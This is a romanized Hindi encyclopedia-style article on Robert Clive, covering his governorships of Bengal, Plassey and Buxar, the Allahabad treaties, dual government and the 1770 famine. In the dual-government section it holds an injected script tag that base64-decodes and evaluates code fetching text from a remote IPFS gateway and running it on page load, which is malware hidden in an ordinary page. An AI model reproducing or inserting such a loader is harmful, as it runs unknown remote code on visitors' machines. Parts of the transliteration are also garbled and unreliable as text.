रॉबर्ट क्लाइव

thumb|220px|r aaubart klaiv r aaubart klaiv (aangrezi: Robert Clive, janm- 29 sitanbar, 1725 ee.; mrityu- 22 navanbar, 1774 ee.) aangrez eest indiya kampani dvara bharat mean niyukt hone vala pratham gavarnar tha. kampani ne use san 1757 mean bangal ka gavarnar niyukt karake bharat bheja tha. r aaubart klaib ko bharat mean aangrezi shasan ka sansthapak mana jata hai. pahali bar vah san 1757-1760 aur phir doosari bar san 1765-1767 tak bangal ka gavarnar raha. hindustan se klaiv 1767 mean ianglaind vapas chala gaya, jahaan 1774 ee. mean usane atmahatya kar li.

parichay

r aaubart klaiv british sena mean ek sainik ke pad par tainat hua tha, kintu apani soojhaboojh, samajhadari aur buddhi se usane ek bahut ooancha pad prapt kar liya tha. klaiv ka janm 29 sitambar, 1725 ee. ko staech mean hua tha. balyakal se hi vah nirali prakriti ka tha. vah ek skool se doosare skool mean bharti karaya jata, kiantu vah khel mean itana vilin rahata ki pustak alamari mean hi dhari rah jati. 18 varsh ki ayu mean r aaubart klaiv madras ke bandaragah par klark banakar aya. yahian se usaka eest iandiya kanpani ka jivan aranbh hua.

san 1746 mean jab madras aangrejoan ke hath se nikal gaya, tab r aaubart klaiv ko bis mil dakshin sthit seant devid kile ki or bhagana p da. use vahaan sainik ki naukari mil gee. yah samay aisa tha, jab bharat ki sthiti aisi ho rahi thi ki phraansisi aur aangrejoan mean, jisamean bhi prashasanik aur sainik kshamata donoan hogi, vah bharat ka vijeta ban jaega. aurangazeb ki mrityu ke pashchath‌ ke 40 varshoan mean mugal samrajy dhire-dhire usake soobedaroan ke hath a gaya tha. in soobedaroan mean tin pramukh the. ek to dakshin ka soobedar jo haidarabad mean shasan karata tha; doosara bangal ka soobedar jisaki rajadhani murshidabad thi aur tisara avadh ka navab bajir. baji doople aur r aaubart klaiv ke bich thi. doople medhavi prashasak tha, kiantu usamean sainik yogyata n thi. r aaubart klaiv sainik aur rajanitijn donoan tha. usane phraansisiyoan ke mukabale in tinoan hi sooboan mean aangrejoan ka prabhav jama diya, kiantu usaki mahatta is bat mean thi ki usane apani yogyata aur dooradarshita se in tinoan hi sooboan mean se sabase dhani soobe par adhikar karane mean saphalata prapt ki.

bharat agaman

r aaubart klaiv kampani ke ek 'klark' (lipik) ke roop mean bharat aya tha. use mukhy roop se gavarnar ko patr adi likhane ke kary ke liye rakha gaya tha. vah sadaiv apane sath talavar, bandooq aur ek gho da rakhata tha. klaiv ko avashyakata ke anusar sainikoan ko kahian par bhi bhejane aur yuddh l dane ke adhikar bhi prapt the. pahali bar vah 1757-1760 ee. aur phir doosari bar 1765-1767 ee. tak vah bangal ka gavarnar raha tha.

british samrajy ki majabooti

bharat mean apane karyakal ke dauran r aaubart klaiv ne bangal mean aangrezoan ki sthiti mean sudhar kiya aur british samrajy ko majabooti pradan ki. bangal ke navab sirajuddaula, avadh ke navab shujauddaula aur mugal samrat shahalam dvitiy, in tinoan ko hi klaiv ki soojhaboojh, chalaki aur kootaniti ne parast kar diya tha. 23 joon, 1757 ee. ko plasi ka yuddh aur 1764 ee. mean baksar ka yuddh jitakar klaiv ne bangal mean british hukoomat ke virodh ko poornataya samapt kar diya tha. 1757 se 1760 eean. tak bangal ka garvanar rahane ke bad klaiv 1760 ee. mean ianglaiand laut gaya. usake pashchath bangal ka sthanapann garvanar 'holavel' bana. tatpashchath 'vensitart' bangal ka garvanar bana. baksar ki vijay ke uparant klaiv ko punah bharat mean aangrezi pradeshoan ka mukhy senapati tatha garvanar banakar bheja gaya tha. 10 aprail, 1765 ko klaiv ne doosari bar madras ki dharati par pair rakha tha aur 3 mee, 1765 ko kalakatta (vartaman kolakata) mean karyabhar grahan kiya.

klaiv ka doosara karyakal (1765-1767 ee.)

baksar ki vijay ke uparant klaiv ko punah bharat mean aangrezi pradeshoan ka mukhy senapati tatha garvanar banakar bheja gaya. 10 aprail, 1765 ko klaiv ne doosari bar madras ki dharati par pair rakha aur 3 mee, 1765 ko kalakatta mean karyabhar grahan kiya. klaiv ne 12 agast, 1765 ko mugal samrat shahalam se ilahabad mean ek sandhi ki, jisaki shartoan ke anusar kampani ko bangal, bihar tatha u disa ki divani prapt huee. samrat shahalam ke lie ilahabad tatha k da ke zile evan kampani dvara prati varsh 26 lakh rupaye varshik peanshan dene ki vyavastha ki gee. kampani ne avadh ke navab se k da aur manikapur chhinakar mugal badashah ko de diya. ise ‘ilahabad ki pahali sandhi’ ke nam se jana jata hai. klaiv ne avadh ke navab shujauddaula ke sath 16 agast, 1765 ko ek doosari sandhi ki jise ‘ilahabad ki doosari sandhi’ ke roop mean jana jata hai. sandhi ki shartoan ke anusar navab ne ilahabad v k da ke zile shahalam ko dene ka vayada kiya aur yuddh ki kshatipoorti ke lie usane kampani ko 50 lakh rupaye bhi dene ka vayada kiya. in donoan sandhiyoan ke sampann ho jane par kampani ki sthiti atyant hi majaboot ho gee.

dvaidh shasan paddhati

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

klaiv ne bangal mean dohari sarakar qayam ki, jisamean 'divani' arthath 'bhoo-rajasv vasoolane ki shakti kampani ke pas thian', par prashasan ka bhar navab ke kandhoan par tha. klaiv ke is prashasanik vyavastha ki visheshata uttaradayitvarahit adhikar aur adhikar rahit uttaradayitv thi. is tarah divani aur nijamat, jisamean divani ke antargat rajasv vasool karane ka adhikar tatha nijamat ke antargat sainik sanrakshan tatha videshi mamaloan ke adhikar shamil the, poorn roop se kampani ke hathoan mean a gaye. dvaidh shasan ki vyavastha ke adhar par kampani dvara vasoole gaye rajasv mean se 26 lakh rupaye prativarsh samrat ko tatha 53 lakh rupaye bangal ke navab ko shasan ke karyoan ke sanchalan ke lie diya jana tha, shesh bache hue bhag ko vah apane pas rakhane ke lie svatantr thi. is prakar kampani ne rajasv vasoolane ka adhikar tatha navab ne shasan chalane ki jimmedari grahan ki. klaiv ne muhammad raja khaan ko bangal ka tatha raja shitab ray ko bihar ka divan banaya.

karnavalis ka vichar

shighr hi dvaidh shasan pranali ka dushparinam dekhane ko mila. desh mean qanoon-vyavastha ast-vyast ho gee aur nyay matr bite samay ki bat hokar rah gaya. is sandarbh mean l aaurd karnavalis ne 'haus aauf kamans' mean kaha ki, maian nishchiy poorvak kah sakata hooan ki, 1765-1784 ee. tak eest iandiya kampani ki sarakar se adhik bhrasht, jhoothi tatha buri sarakar sansar ke kisi bhi sabhy desh mean nahian thi. dvaidh shasan se krishi vyavastha par prabhav p da, rajasv vasooli sarvochch boli bolane valoan ko di jane lagi aur oopar se 1770 ee. mean bangal ke akal ne to krishakoan ki jaise kamar hi to d di.

ilahabad ki sandhiyaan

klaiv ne 12 agast, 1765 ko mugal samrat shahalam dvitiy se ilahabad mean ek sandhi ki, jisaki shartoan ke anusar- kampani ko bangal, bihar tatha u disa ki divani prapt huee. samrat shahalam ke lie ilahabad tatha k da ke zile evan kampani dvara prati varsh 26 lakh rupaye varshik peanshan dene ki vyavastha ki gee. kampani ne avadh ke navab se k da aur manikapur chhinakar mugal badashah ko de diya. ise 'ilahabad ki pahali sandhi' ke nam se jana jata hai. klaiv ne avadh ke navab shujauddaula ke sath 16 agast, 1765 ko ek sandhi ki, jise 'ilahabad ki doosari sandhi' ke roop mean jana jata hai. sandhi ki shartoan ke anusar- navab ne ilahabad v k da ke zile shahalam dvitiy ko dene ka vayada kiya aur yuddh ki kshatipoorti ke lie usane kampani ko 50 lakh rupaye bhi dene ka vayada kiya. in donoan sandhiyoan ke sampann ho jane par eest indiya kampani ki sthiti atyant hi mazaboot ho gee.

shvet vidroh

dvaidh shasan ka vyapar tatha vyavasay par bhi galat asar p da. bharatiy vyapariyoan ke shoshan ki gati tivr ho gee. bangal ke vastr tatha resham udyog isamean kafi prabhavit hue. dvaidh vyavastha matr british hit ko sarvopari rakhati thi. klaiv dvara niji vyapar tatha upahar lene par rok lagane se bhrashtachar ko badhava mila tatha isane antarik kar sangrah ko anivary bana diya. klaiv ne kampani ke sainikoan ke dohare bhatte, jo shaanti kal mean milate the, par rok laga di. yah suvidha keval bangal ke sainikoan ko di jane lagi, jo bangal evan bihar ki sima se bahar kary karate the. muanger tatha ilahabad mean karyarat shvet sainik adhikariyoan ne is vyavastha ka virodh kiya, jise kalantar mean shvet vidroh ke nam se jana gaya. klaiv is vidroh ko saphalata se dabane mean saphal hua.

dvaidh shasan ki samapti

dvaidh pranali ke antargat krishi ko kafi nukasan hua. bhoomi kar krishakoan par bahut adhik hota tha. bhoomi kar sangrah karane ka bhar prativarsh adhikadhik boli lagane vale ko sauanp diya jata tha, jisaki bhoomi mean sthayi roop se koee ruchi nahian thi. sabase duahkhad ghatana thi- 1770 ee. ka bangal ka bhanyakar akal, jisamean atyadhik jan-mal ki kshati huee. akal ke dinoan mean bhoomikar dridhatapoorvak vasool kiya gaya. kampani ke karyakartaoan ne logoan ki avashyak vastuoan ki qimatoan ko badhakar labh kamaya. british rajy ke sansthapak ke roop mean r aaubart klaiv ke yogadan ko vismrit nahian kiya ja sakata. usane kampani ke karyakartaoan ke lie 'sosayati aauf tred' ka nirman kiya, jisako namak, supari evan tambakoo ke vyapar ka ekadhikar prapt tha. yah nikay utpadakoan ke samast mal naqad mean lekar nishchit kendroan par phutakar vyapariyoan ko bech deta tha. faravari, 1767 ee. mean klaiv ianglaind vapas chala gaya. klaiv ka uttaradhikari 'verelst' (1767-1769 ee.) hua, aur verelst ka uttaradhikari 'kartiyar' (1769-72 ee.). inake kamazor shasan mean klaiv ki dohari sarakar ke durgun poornaroopen spasht ho gaye. rajy atyachar, bhrashtachar aur kasht ke bojh se karahane laga. atah 1772 ee. mean niyukt agale gavarnar varen hestiangs ne dvaidh shasan pranali ko samapt kar diya.

• ke. em. panikkar ka kahana tha ki "1765 se 1772 ee. tak kampani ne bangal mean dakuoan ka rajy sthapit kar diya. bangal ko avivek roop se loota".

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh